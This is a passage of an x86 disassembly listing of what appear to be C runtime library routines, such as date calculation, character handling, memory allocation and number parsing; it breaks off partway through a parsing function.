push ebp
mov ebp, esp
cmp [ebp+arg_4], 1
push ebx
mov ebx, [ebp+arg_8]
push esi
jnz loc_420DF3
mov eax, [ebp+arg_C]
mov [ebp+arg_8], ebx
and [ebp+arg_8], 3
mov esi, eax
jnz short loc_420D83
shl esi, 2
mov eax, dword_4366F0[esi]
jmp short loc_420D8C
; ---------------------------------------------------------------------------
loc_420D83: ; CODE XREF: sub_420D58+1Ej
shl esi, 2
mov eax, dword_436724[esi]
loc_420D8C: ; CODE XREF: sub_420D58+29j
mov edx, ebx
lea ecx, [eax+1]
imul edx, 16Dh
lea eax, [ebx-1]
push edi
sar eax, 2
mov edi, ecx
push 7
add edi, eax
lea eax, [edx+edi-63DBh]
pop edi
cdq
idiv edi
mov eax, [ebp+arg_10]
pop edi
cmp edx, [ebp+arg_14]
jg short loc_420DC6
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
lea ecx, [ecx+eax-7]
jmp short loc_420DD0
; ---------------------------------------------------------------------------
loc_420DC6: ; CODE XREF: sub_420D58+5Ej
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
add ecx, eax
loc_420DD0: ; CODE XREF: sub_420D58+6Cj
cmp [ebp+arg_10], 5
jnz short loc_420E0E
cmp [ebp+arg_8], 0
jnz short loc_420DE4
mov esi, dword_4366F4[esi]
jmp short loc_420DEA
; ---------------------------------------------------------------------------
loc_420DE4: ; CODE XREF: sub_420D58+82j
mov esi, dword_436728[esi]
loc_420DEA: ; CODE XREF: sub_420D58+8Aj
cmp ecx, esi
jle short loc_420E0E
sub ecx, 7
jmp short loc_420E0E
; ---------------------------------------------------------------------------
loc_420DF3: ; CODE XREF: sub_420D58+Cj
mov eax, [ebp+arg_C]
test bl, 3
jnz short loc_420E04
mov ecx, dword_4366F0[eax*4]
jmp short loc_420E0B
; ---------------------------------------------------------------------------
loc_420E04: ; CODE XREF: sub_420D58+A1j
mov ecx, dword_436724[eax*4]
loc_420E0B: ; CODE XREF: sub_420D58+AAj
add ecx, [ebp+arg_18]
loc_420E0E: ; CODE XREF: sub_420D58+7Cj
; sub_420D58+94j ...
cmp [ebp+arg_0], 1
jnz short loc_420E3F
mov eax, [ebp+arg_1C]
mov dword_4366DC, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
mov dword_4366D8, ebx
imul eax, 3Ch
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_4366E0, eax
jmp short loc_420E94
; ---------------------------------------------------------------------------
loc_420E3F: ; CODE XREF: sub_420D58+BAj
mov eax, [ebp+arg_1C]
mov dword_4366EC, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
imul eax, 3Ch
add eax, dword_436648
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_4366F0, eax
jns short loc_420E77
add eax, 5265C00h
dec ecx
mov dword_4366F0, eax
jmp short loc_420E88
; ---------------------------------------------------------------------------
loc_420E77: ; CODE XREF: sub_420D58+110j
mov edx, 5265C00h
cmp eax, edx
jl short loc_420E8E
sub eax, edx
inc ecx
mov dword_4366F0, eax
loc_420E88: ; CODE XREF: sub_420D58+11Dj
mov dword_4366EC, ecx
loc_420E8E: ; CODE XREF: sub_420D58+126j
mov dword_4366E8, ebx
loc_420E94: ; CODE XREF: sub_420D58+E5j
pop esi
pop ebx
pop ebp
retn
sub_420D58 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420E98 proc near ; CODE XREF: sub_41D797+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_420EBB
cmp [ebp+arg_8], ebx
jz short loc_420EBB
mov al, [esi]
cmp al, bl
jnz short loc_420EC1
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_420EBB
mov [eax], bx
loc_420EBB: ; CODE XREF: sub_420E98+Cj
; sub_420E98+11j ...
xor eax, eax
loc_420EBD: ; CODE XREF: sub_420E98+42j
; sub_420E98+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_420EC1: ; CODE XREF: sub_420E98+17j
cmp dword_4CDA48, ebx
jnz short loc_420EDC
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_420ED7
movzx ax, al
mov [ecx], ax
loc_420ED7: ; CODE XREF: sub_420E98+36j
; sub_420E98+C0j
push 1
pop eax
jmp short loc_420EBD
; ---------------------------------------------------------------------------
loc_420EDC: ; CODE XREF: sub_420E98+2Fj
mov ecx, off_433C70
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_420F39
mov eax, dword_433E7C
cmp eax, 1
jle short loc_420F20
cmp [ebp+arg_8], eax
jl short loc_420F2A
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push dword_4CDA58
call near ptr 2630000h
nop
test eax, eax
mov eax, dword_433E7C
jnz short loc_420EBD
loc_420F20: ; CODE XREF: sub_420E98+5Cj
cmp [ebp+arg_8], eax
jb short loc_420F2A
cmp [esi+1], bl
jnz short loc_420EBD
loc_420F2A: ; CODE XREF: sub_420E98+61j
; sub_420E98+8Bj ...
mov dword_4CD9B4, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_420EBD
; ---------------------------------------------------------------------------
loc_420F39: ; CODE XREF: sub_420E98+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push dword_4CDA58
nop
call near ptr 2630000h
test eax, eax
jnz loc_420ED7
jmp short loc_420F2A
sub_420E98 endp
; =============== S U B R O U T I N E =======================================
sub_420F60 proc near ; CODE XREF: sub_41D797+76p
; sub_41D797+88p ...
arg_0 = dword ptr 4
cmp dword_433E7C, 1
jle short loc_420F77
push 8
push [esp+4+arg_0]
call sub_41A642
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_420F77: ; CODE XREF: sub_420F60+7j
mov eax, [esp+arg_0]
mov ecx, off_433C70
mov al, [ecx+eax*2]
and eax, 8
retn
sub_420F60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_420F90 proc near ; CODE XREF: sub_41D797+797p
; sub_41D797+7E7p
cmp cl, 40h
jnb short loc_420FAA
cmp cl, 20h
jnb short loc_420FA0
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_420FA0: ; CODE XREF: sub_420F90+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_420FAA: ; CODE XREF: sub_420F90+3j
xor eax, eax
xor edx, edx
retn
sub_420F90 endp
; =============== S U B R O U T I N E =======================================
sub_420FAF proc near ; CODE XREF: sub_41E20D+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_420FFB
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_420FCD
test al, 80h
jz short loc_420FFB
test al, 2
jnz short loc_420FFB
loc_420FCD: ; CODE XREF: sub_420FAF+14j
cmp dword ptr [esi+8], 0
jnz short loc_420FDA
push esi
call sub_41F9D8
pop ecx
loc_420FDA: ; CODE XREF: sub_420FAF+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_420FEA
cmp dword ptr [esi+4], 0
jnz short loc_420FFB
inc eax
mov [esi], eax
loc_420FEA: ; CODE XREF: sub_420FAF+30j
test byte ptr [esi+0Ch], 40h
jz short loc_421001
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_421007
inc eax
mov [esi], eax
loc_420FFB: ; CODE XREF: sub_420FAF+9j
; sub_420FAF+18j ...
or eax, 0FFFFFFFFh
loc_420FFE: ; CODE XREF: sub_420FAF+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_421001: ; CODE XREF: sub_420FAF+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_421007: ; CODE XREF: sub_420FAF+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_420FFE
sub_420FAF endp
; =============== S U B R O U T I N E =======================================
sub_42101D proc near ; CODE XREF: ___:0041F15Ap
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_42102E
add esp, 0Ch
retn
sub_42101D endp
; =============== S U B R O U T I N E =======================================
sub_42102E proc near ; CODE XREF: sub_42101D+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test byte_4CEF01[eax], cl
jnz short loc_42105B
cmp [esp+arg_4], 0
jz short loc_421054
movzx eax, word_433C7A[eax*2]
and eax, [esp+arg_4]
jmp short loc_421056
; ---------------------------------------------------------------------------
loc_421054: ; CODE XREF: sub_42102E+16j
xor eax, eax
loc_421056: ; CODE XREF: sub_42102E+24j
test eax, eax
jnz short loc_42105B
retn
; ---------------------------------------------------------------------------
loc_42105B: ; CODE XREF: sub_42102E+Fj
; sub_42102E+2Aj
push 1
pop eax
retn
sub_42102E endp
; =============== S U B R O U T I N E =======================================
sub_42105F proc near ; CODE XREF: sub_41F885+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp dword_4CDC7C, ebx
push esi
push edi
jnz short loc_4210AE
push offset aUser32_dll ; "user32.dll"
nop
call near ptr 26F072Bh
mov edi, eax
cmp edi, ebx
jz short loc_4210E4
mov esi, dword_4240DC
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi
test eax, eax
mov dword_4CDC7C, eax
jz short loc_4210E4
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_4CDC80, eax
call esi
mov dword_4CDC84, eax
loc_4210AE: ; CODE XREF: sub_42105F+Bj
mov eax, dword_4CDC80
test eax, eax
jz short loc_4210CD
call eax
mov ebx, eax
test ebx, ebx
jz short loc_4210CD
mov eax, dword_4CDC84
test eax, eax
jz short loc_4210CD
push ebx
call eax
mov ebx, eax
loc_4210CD: ; CODE XREF: sub_42105F+56j
; sub_42105F+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call dword_4CDC7C
loc_4210E0: ; CODE XREF: sub_42105F+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4210E4: ; CODE XREF: sub_42105F+1Cj
; sub_42105F+33j
xor eax, eax
jmp short loc_4210E0
sub_42105F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4210E8 proc near ; CODE XREF: sub_41FA42+22p
; sub_41FA42+3Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
imul esi, [ebp+arg_4]
cmp esi, 0FFFFFFE0h
push edi
mov [ebp+arg_0], esi
ja short loc_421109
test esi, esi
jnz short loc_421103
push 1
pop esi
loc_421103: ; CODE XREF: sub_4210E8+16j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_421109: ; CODE XREF: sub_4210E8+12j
; sub_4210E8+94j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_421168
mov eax, dword_4CF028
cmp eax, 3
jnz short loc_421134
mov eax, [ebp+arg_0]
cmp eax, dword_4CF020
ja short loc_421153
push eax
call sub_41B0DD
mov edi, eax
pop ecx
test edi, edi
jnz short loc_42117E
jmp short loc_421153
; ---------------------------------------------------------------------------
loc_421134: ; CODE XREF: sub_4210E8+30j
cmp eax, 2
jnz short loc_421153
cmp esi, dword_435EB4
ja short loc_421153
mov eax, esi
shr eax, 4
push eax
call sub_41BB80
mov edi, eax
pop ecx
test edi, edi
jnz short loc_421192
loc_421153: ; CODE XREF: sub_4210E8+3Bj
; sub_4210E8+4Aj ...
push esi
push 8
push dword_4CF024
nop
call near ptr 2710000h
mov edi, eax
test edi, edi
jnz short loc_42118C
loc_421168: ; CODE XREF: sub_4210E8+26j
cmp dword_4CDA14, 0
jz short loc_42118C
push esi
call sub_41AB54
test eax, eax
pop ecx
jz short loc_421195
jmp short loc_421109
; ---------------------------------------------------------------------------
loc_42117E: ; CODE XREF: sub_4210E8+48j
push [ebp+arg_0]
loc_421181: ; CODE XREF: sub_4210E8+ABj
push 0
push edi
call sub_417330
add esp, 0Ch
loc_42118C: ; CODE XREF: sub_4210E8+7Ej
; sub_4210E8+87j
mov eax, edi
loc_42118E: ; CODE XREF: sub_4210E8+AFj
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421192: ; CODE XREF: sub_4210E8+69j
push esi
jmp short loc_421181
; ---------------------------------------------------------------------------
loc_421195: ; CODE XREF: sub_4210E8+92j
xor eax, eax
jmp short loc_42118E
sub_4210E8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41FAE7
loc_421199: ; CODE XREF: sub_41FAE7+Ej
push esi
push edi
push 3
xor edi, edi
pop esi
cmp dword_4CECC0, esi
jle short loc_4211EC
loc_4211A8: ; CODE XREF: sub_41FAE7+1703j
mov eax, dword_4CDCB0
mov eax, [eax+esi*4]
test eax, eax
jz short loc_4211E3
test byte ptr [eax+0Ch], 83h
jz short loc_4211C7
push eax
call sub_417900
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_4211C7
inc edi
loc_4211C7: ; CODE XREF: sub_41FAE7+16D1j
; sub_41FAE7+16DDj
cmp esi, 14h
jl short loc_4211E3
mov eax, dword_4CDCB0
push dword ptr [eax+esi*4]
call sub_417C3B
mov eax, dword_4CDCB0
pop ecx
and dword ptr [eax+esi*4], 0
loc_4211E3: ; CODE XREF: sub_41FAE7+16CBj
; sub_41FAE7+16E3j
inc esi
cmp esi, dword_4CECC0
jl short loc_4211A8
loc_4211EC: ; CODE XREF: sub_41FAE7+16BFj
mov eax, edi
pop edi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_41FAE7
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4211F1 proc near ; CODE XREF: sub_41FEC6+271p
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_417B30
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp ebx, dword_4CEDE0
jnb loc_421326
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4CECE0[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_421326
push 1
push esi
push ebx
call sub_41E517
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_421330
push 2
push esi
push ebx
call sub_41E517
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_421330
push edi
mov edi, [ebp+arg_4]
sub edi, eax
test edi, edi
jle short loc_4212D3
push 1000h
lea eax, [ebp+var_1000]
push esi
push eax
call sub_417330
push 8000h
push ebx
call sub_421E2B
add esp, 14h
mov [ebp+arg_4], eax
loc_421287: ; CODE XREF: sub_4211F1+BDj
mov eax, 1000h
cmp edi, eax
jge short loc_421292
mov eax, edi
loc_421292: ; CODE XREF: sub_4211F1+9Dj
push eax
lea eax, [ebp+var_1000]
push eax
push ebx
call sub_41ED97
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_4212B0
sub edi, eax
test edi, edi
jle short loc_4212C6
jmp short loc_421287
; ---------------------------------------------------------------------------
loc_4212B0: ; CODE XREF: sub_4211F1+B5j
cmp dword_4CD9B8, 5
jnz short loc_4212C3
mov dword_4CD9B4, 0Dh
loc_4212C3: ; CODE XREF: sub_4211F1+C6j
or esi, 0FFFFFFFFh
loc_4212C6: ; CODE XREF: sub_4211F1+BBj
push [ebp+arg_4]
push ebx
call sub_421E2B
pop ecx
pop ecx
jmp short loc_421313
; ---------------------------------------------------------------------------
loc_4212D3: ; CODE XREF: sub_4211F1+71j
jge short loc_421313
push 0
push [ebp+arg_4]
push ebx
call sub_41E517
push ebx
call sub_41FE32
add esp, 10h
push eax
call near ptr 25D0000h
nop
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0FFFFFFFFh
jnz short loc_421313
mov dword_4CD9B4, 0Dh
nop
call near ptr 2660B07h
mov dword_4CD9B8, eax
loc_421313: ; CODE XREF: sub_4211F1+E0j
; sub_4211F1:loc_4212D3j ...
push 0
push [ebp+arg_0]
push ebx
call sub_41E517
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_421333
; ---------------------------------------------------------------------------
loc_421326: ; CODE XREF: sub_4211F1+1Aj
; sub_4211F1+36j
mov dword_4CD9B4, 9
loc_421330: ; CODE XREF: sub_4211F1+4Ej
; sub_4211F1+63j
or eax, 0FFFFFFFFh
loc_421333: ; CODE XREF: sub_4211F1+133j
pop esi
pop ebx
leave
retn
sub_4211F1 endp
; =============== S U B R O U T I N E =======================================
sub_421337 proc near ; CODE XREF: sub_420331+2Bp
; sub_420331+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_42134D
cmp ecx, esi
jnb short loc_421350
loc_42134D: ; CODE XREF: sub_421337+10j
push 1
pop eax
loc_421350: ; CODE XREF: sub_421337+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_421337 endp
; =============== S U B R O U T I N E =======================================
sub_421358 proc near ; CODE XREF: sub_421411+40p
; sub_421411+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_421337
add esp, 0Ch
test eax, eax
jz short loc_42138A
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_421337
add esp, 0Ch
test eax, eax
jz short loc_42138A
inc dword ptr [esi+8]
loc_42138A: ; CODE XREF: sub_421358+19j
; sub_421358+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_421337
add esp, 0Ch
test eax, eax
jz short loc_4213A2
inc dword ptr [esi+8]
loc_4213A2: ; CODE XREF: sub_421358+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_421337
add esp, 0Ch
pop edi
pop esi
retn
sub_421358 endp
; =============== S U B R O U T I N E =======================================
sub_4213B6 proc near ; CODE XREF: sub_421411+30p
; sub_421411+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_4213B6 endp
; =============== S U B R O U T I N E =======================================
sub_4213E4 proc near ; CODE XREF: sub_4219A9+1C8p
; sub_421EA1+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_4213E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421411 proc near ; CODE XREF: sub_4214D8+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_421485
push edi
mov [ebp+arg_8], eax
loc_421438: ; CODE XREF: sub_421411+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_4213B6
push ebx
call sub_4213B6
lea eax, [ebp+var_10]
push eax
push ebx
call sub_421358
push ebx
call sub_4213B6
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_421358
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_421438
xor edx, edx
pop edi
loc_421485: ; CODE XREF: sub_421411+21j
; sub_421411+9Fj
cmp [ebx+8], edx
jnz short loc_4214B2
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_421485
; ---------------------------------------------------------------------------
loc_4214B2: ; CODE XREF: sub_421411+77j
mov esi, 8000h
loc_4214B7: ; CODE XREF: sub_421411+B9j
test [ebx+8], esi
jnz short loc_4214CC
push ebx
call sub_4213B6
add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_4214B7
; ---------------------------------------------------------------------------
loc_4214CC: ; CODE XREF: sub_421411+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_421411 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4214D8 proc near ; CODE XREF: sub_42067A+17p
; sub_4206A7+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_421513: ; CODE XREF: sub_4214D8+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_421529
cmp cl, 9
jz short loc_421529
cmp cl, 0Ah
jz short loc_421529
cmp cl, 0Dh
jnz short loc_42152C
loc_421529: ; CODE XREF: sub_4214D8+40j
; sub_4214D8+45j ...
inc edi
jmp short loc_421513
; ---------------------------------------------------------------------------
loc_42152C: ; CODE XREF: sub_4214D8+4Fj
push 4
pop esi
loc_42152F: ; CODE XREF: sub_4214D8+AEj
; sub_4214D8+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_4217B2 ; default
; jumptable 0042153B case 10
jmp off_421979[eax*4] ; switch jump
loc_421542: ; DATA XREF: ___:off_421979o
cmp bl, 31h ; jumptable 0042153B case 0
jl short loc_421553
cmp bl, 39h
jg short loc_421553
loc_42154C: ; CODE XREF: sub_4214D8+C4j
; sub_4214D8+118j
push 3
jmp loc_421770
; ---------------------------------------------------------------------------
loc_421553: ; CODE XREF: sub_4214D8+6Dj
; sub_4214D8+72j
cmp bl, byte_433E80
jnz short loc_421562
loc_42155B: ; CODE XREF: sub_4214D8+124j
push 5
jmp loc_4217A8
; ---------------------------------------------------------------------------
loc_421562: ; CODE XREF: sub_4214D8+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_421588
dec eax
dec eax
jz short loc_42157C
sub eax, 3
jnz loc_42184B
jmp loc_42160B
; ---------------------------------------------------------------------------
loc_42157C: ; CODE XREF: sub_4214D8+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_42152F
; ---------------------------------------------------------------------------
loc_421588: ; CODE XREF: sub_4214D8+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_42152F
; ---------------------------------------------------------------------------
loc_421591: ; CODE XREF: sub_4214D8+63j
; DATA XREF: ___:off_421979o
cmp bl, 31h ; jumptable 0042153B case 1
mov [ebp+var_10], edx
jl short loc_42159E
cmp bl, 39h
jle short loc_42154C
loc_42159E: ; CODE XREF: sub_4214D8+BFj
cmp bl, byte_433E80
jz loc_421666
cmp bl, 2Bh
jz short loc_4215E0
cmp bl, 2Dh
jz short loc_4215E0
cmp bl, 30h
jz short loc_42160B
loc_4215B9: ; CODE XREF: sub_4214D8+207j
cmp bl, 43h
jle loc_42184B
cmp bl, 45h
jle short loc_4215D9
cmp bl, 63h
jle loc_42184B
cmp bl, 65h
jg loc_42184B
loc_4215D9: ; CODE XREF: sub_4214D8+EDj
push 6
jmp loc_4217A8
; ---------------------------------------------------------------------------
loc_4215E0: ; CODE XREF: sub_4214D8+D5j
; sub_4214D8+DAj ...
dec edi
push 0Bh
jmp loc_4217A8
; ---------------------------------------------------------------------------
loc_4215E8: ; CODE XREF: sub_4214D8+63j
; DATA XREF: ___:off_421979o
cmp bl, 31h ; jumptable 0042153B case 2
jl short loc_4215F6
cmp bl, 39h
jle loc_42154C
loc_4215F6: ; CODE XREF: sub_4214D8+113j
cmp bl, byte_433E80
jz loc_42155B
cmp bl, 30h
jnz loc_4217C0
loc_42160B: ; CODE XREF: sub_4214D8+9Fj
; sub_4214D8+DFj
mov eax, edx
jmp loc_42152F
; ---------------------------------------------------------------------------
loc_421612: ; CODE XREF: sub_4214D8+63j
; DATA XREF: ___:off_421979o
mov [ebp+var_10], edx ; jumptable 0042153B case 3
loc_421615: ; CODE XREF: sub_4214D8+184j
cmp dword_433E7C, edx
jle short loc_42162E
movzx eax, bl
push esi
push eax
call sub_41A642
pop ecx
pop ecx
push 1
pop edx
jmp short loc_42163C
; ---------------------------------------------------------------------------
loc_42162E: ; CODE XREF: sub_4214D8+143j
mov ecx, off_433C70
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_42163C: ; CODE XREF: sub_4214D8+154j
test eax, eax
jz short loc_42165E
cmp [ebp+var_4], 19h
jnb short loc_421656
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_421659
; ---------------------------------------------------------------------------
loc_421656: ; CODE XREF: sub_4214D8+16Cj
inc [ebp+var_8]
loc_421659: ; CODE XREF: sub_4214D8+17Cj
mov bl, [edi]
inc edi
jmp short loc_421615
; ---------------------------------------------------------------------------
loc_42165E: ; CODE XREF: sub_4214D8+166j
cmp bl, byte_433E80
jnz short loc_4216CD
loc_421666: ; CODE XREF: sub_4214D8+CCj
mov eax, esi
jmp loc_42152F
; ---------------------------------------------------------------------------
loc_42166D: ; CODE XREF: sub_4214D8+63j
; DATA XREF: ___:off_421979o
cmp [ebp+var_4], 0 ; jumptable 0042153B case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_421686
loc_421679: ; CODE XREF: sub_4214D8+1ACj
cmp bl, 30h
jnz short loc_421686
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_421679
; ---------------------------------------------------------------------------
loc_421686: ; CODE XREF: sub_4214D8+19Fj
; sub_4214D8+1A4j ...
cmp dword_433E7C, edx
jle short loc_42169F
movzx eax, bl
push esi
push eax
call sub_41A642
pop ecx
pop ecx
push 1
pop edx
jmp short loc_4216AD
; ---------------------------------------------------------------------------
loc_42169F: ; CODE XREF: sub_4214D8+1B4j
mov ecx, off_433C70
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_4216AD: ; CODE XREF: sub_4214D8+1C5j
test eax, eax
jz short loc_4216CD
cmp [ebp+var_4], 19h
jnb short loc_4216C8
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_4216C8: ; CODE XREF: sub_4214D8+1DDj
mov bl, [edi]
inc edi
jmp short loc_421686
; ---------------------------------------------------------------------------
loc_4216CD: ; CODE XREF: sub_4214D8+18Cj
; sub_4214D8+1D7j
cmp bl, 2Bh
jz loc_4215E0
cmp bl, 2Dh
jz loc_4215E0
jmp loc_4215B9
; ---------------------------------------------------------------------------
loc_4216E4: ; CODE XREF: sub_4214D8+63j
; DATA XREF: ___:off_421979o
cmp dword_433E7C, edx ; jumptable 0042153B case 5
mov [ebp+var_24], edx
jle short loc_421700
movzx eax, bl
push esi
push eax
